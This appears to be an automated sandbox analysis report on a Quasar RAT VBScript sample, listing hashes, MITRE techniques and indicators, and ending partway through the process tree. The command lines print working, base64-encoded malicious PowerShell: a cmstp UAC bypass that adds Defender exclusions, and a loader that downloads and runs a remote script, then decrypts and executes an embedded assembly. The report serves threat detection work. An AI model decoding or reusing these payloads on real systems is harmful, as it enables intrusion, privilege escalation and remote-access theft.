quasar | 0dcdaedf2f76dbc431635dbc53c893692cb644f5dbdfde46bc942b9806b8f0d7

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
30-01-2025 08:29

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General

Target

tt.vbs
Size

274KB
MD5

1c83c6f80fcddabd1336cc30aa68d08f
SHA1

bb9c75690963d7c2bb608d5fb3b9b627b1bc4e34
SHA256

0dcdaedf2f76dbc431635dbc53c893692cb644f5dbdfde46bc942b9806b8f0d7
SHA512

832d55005c9192456337f840d409d79c6786fd8d2c97bb33ed04193903564ae3b4d31da0842cc522add532e4fb5b86a231890be90a4e0471b28276f57345d44a
SSDEEP

6144:eUQydS/Z5QL2AEhyNqfrASLddf9USsPgd5QxwNsCQOod2zf:UyduQLnEh4qjASj9USsIP0wNPQ2zf

Score

10^/10

quasar discovery execution persistence spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/4648-100-0x0000000008050000-0x00000000080AE000-memory.dmp	family_quasar

Blocklisted process makes network request 2 IoCs

flow	pid	Process
13	4648	powershell.exe
16	4648	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4076	powershell.exe
4648	powershell.exe
4200	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4174397412-4125106315-2776226590-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4174397412-4125106315-2776226590-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate_137 = "wscript.exe \"C:\\Users\\Admin\\AppData\\Roaming\\WindowsUpdate_193.vbs\""	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3184	taskkill.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4200	powershell.exe
4200	powershell.exe
4076	powershell.exe
4076	powershell.exe
4648	powershell.exe
4648	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4200	powershell.exe
Token: SeDebugPrivilege	4076	powershell.exe
Token: SeDebugPrivilege	3184	taskkill.exe
Token: SeDebugPrivilege	4648	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4648	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3628 wrote to memory of 2252	3628	WScript.exe	83
PID 3628 wrote to memory of 2252	3628	WScript.exe	83
PID 2252 wrote to memory of 400	2252	cmd.exe	86
PID 2252 wrote to memory of 400	2252	cmd.exe	86
PID 400 wrote to memory of 4200	400	cmd.exe	88
PID 400 wrote to memory of 4200	400	cmd.exe	88
PID 4200 wrote to memory of 4776	4200	powershell.exe	91
PID 4200 wrote to memory of 4776	4200	powershell.exe	91
PID 4776 wrote to memory of 4572	4776	csc.exe	92
PID 4776 wrote to memory of 4572	4776	csc.exe	92
PID 4200 wrote to memory of 4864	4200	powershell.exe	93
PID 4200 wrote to memory of 4864	4200	powershell.exe	93
PID 400 wrote to memory of 4648	400	cmd.exe	99
PID 400 wrote to memory of 4648	400	cmd.exe	99
PID 400 wrote to memory of 4648	400	cmd.exe	99

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\tt.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\c.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -noprofile -windowStyle Hidden -ep bypass -command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4200
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dwoejhlm\dwoejhlm.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4776
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFB29.tmp" "c:\Users\Admin\AppData\Local\Temp\dwoejhlm\CSCB7F841C5CF77409C8EACC78CA29A782F.TMP"
        6⤵
        
        PID:4572
    - - C:\windows\system32\cmstp.exe
        
        "C:\windows\system32\cmstp.exe" /au C:\windows\temp\3qrj3ock.inf
        5⤵
        
        PID:4864
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ2FXVjRJQ2hKYm5admEyVXRWMlZpVW1WeGRXVnpkQ0F0VlhKcElDSm9kSFJ3Y3pvdkx6QjRNQzV6ZEM4NExUVlRMbkJ6TVNJcCcpKSk7ZW1wdHlzZXJ2aWNlcyAtZXR3O1N0YXJ0LVNsZWVwIC1TZWNvbmRzIDU7ZnVuY3Rpb24gdW5xbXFibGJqbnBiempnKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnakZzSUxYMnhsKzBOYVJ0eGVzZ3Z2NURCdmpybmM5TmVIdVlHWFdzL09oQT0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ3E5aElSZmtwSTU4NHJqSi9CdGpwK3c9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gaGl6bGF6ZmNwb2Rramx2KCRwYXJhbV92YXIpewlJRVggJyRkaWJzdmh1d2xwYW93Y3J2dmVueWZwdXJkPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJHBsYXhucWJwbmpnemdvem1sb3dhbGl6eXQ9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRoZ3ducW5va3Bmd3V6eHl5emp0a3ZwcW9tPU5ldy1PYmplY3QgU3lzdGVtLklPLkNBQkNvbUFCQ3ByQUJDZUFCQ3NzQUJDaW9BQkNuLkFCQ0daQUJDaXBBQkNTdEFCQ3JlQUJDYW1BQkMoJGRpYnN2aHV3bHBhb3djcnZ2ZW55ZnB1cmQsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJGhnd25xbm9rcGZ3dXp4eXl6anRrdnBxb20uQ29weVRvKCRwbGF4bnFicG5qZ3pnb3ptbG93YWxpenl0KTsJJGhnd25xbm9rcGZ3dXp4eXl6anRrdnBxb20uRGlzcG9zZSgpOwkkZGlic3ZodXdscGFvd2NydnZlbnlmcHVyZC5EaXNwb3NlKCk7CSRwbGF4bnFicG5qZ3pnb3ptbG93YWxpenl0LkRpc3Bvc2UoKTsJJHBsYXhucWJwbmpnemdvem1sb3dhbGl6eXQuVG9BcnJheSgpO31mdW5jdGlvbiB0cHV3cHVramJxbHBncGd3dW50Zm5wZ3NkKCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewkJSUVYICckdGJ5cXJnbGJlZmtmYnh2c29xaWRybXF5Ym16Zm94c3FpYnhtcHR4ej1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGt0dXNvdHhseXJneWhrdWdrYW9maGZuZ251d2FhaWN2c2lzeXN5amlvbmh3cXRpeGdxPSR0YnlxcmdsYmVma2ZieHZzb3FpZHJtcXlibXpmb3hzcWlieG1wdHh6LkFCQ0VBQkNuQUJDdEFCQ3JBQkN5QUJDUEFCQ29BQkNpQUJDbkFCQ3RBQkM7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGt0dXNvdHhseXJneWhrdWdrYW9maGZuZ251d2FhaWN2c2lzeXN5amlvbmh3cXRpeGdxLkFCQ0lBQkNuQUJDdkFCQ29BQkNrQUJDZUFCQygkbnVsbCwgJHBhcmFtMl92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpO30kamJqY2xwaXZqamh0YW5xY3lybnV0Y3RzeiA9ICRlbnY6VVNFUk5BTUU7JGlpdHJvZWdndXpoeHN5cHJyd29wdHNkZ3cgPSAnQzpcVXNlcnNcJyArICRqYmpjbHBpdmpqaHRhbnFjeXJudXRjdHN6ICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkaWl0cm9lZ2d1emh4c3lwcnJ3b3B0c2RndzskdXVwZmc9W1N5c3RlbS5JTy5GaWxlXTo6KCd0eGVUbGxBZGFlUidbLTEuLi0xMV0gLWpvaW4gJycpKCRpaXRyb2VnZ3V6aHhzeXBycndvcHRzZGd3KS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgka3FhIGluICR1dXBmZykgewlpZiAoJGtxYS5TdGFydHNXaXRoKCc6OicpKQl7CQkkcWZtdXQ9JGtxYS5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kZHVrdmJwenFzbXhrb2plbmx5b29reXlwdz1bc3RyaW5nW11dJHFmbXV0LlNwbGl0KCdcJyk7SUVYICckYXhocHBhaXl3bXNwbnV4ZnJpZXNnZm15bz1oaXpsYXpmY3BvZGtqbHYgKHVucW1xYmxiam5wYnpqZyAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRkdWt2YnB6cXNteGtvamVubHlvb2t5eXB3WzBdKSkpOycuUmVwbGFjZSgnQUJDJywgJycpO0lFWCAnJHpvc3NnZnZ2emFzcmJjbXBsc3dseHlkcmo9aGl6bGF6ZmNwb2Rramx2ICh1bnFtcWJsYmpucGJ6amcgKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkZHVrdmJwenFzbXhrb2plbmx5b29reXlwd1sxXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt0cHV3cHVramJxbHBncGd3dW50Zm5wZ3NkICRheGhwcGFpeXdtc3BudXhmcmllc2dmbXlvICRudWxsO3RwdXdwdWtqYnFscGdwZ3d1bnRmbnBnc2QgJHpvc3NnZnZ2emFzcmJjbXBsc3dseHlkcmogKCxbc3RyaW5nW11dICgnJUFCQycpKTs=')) | 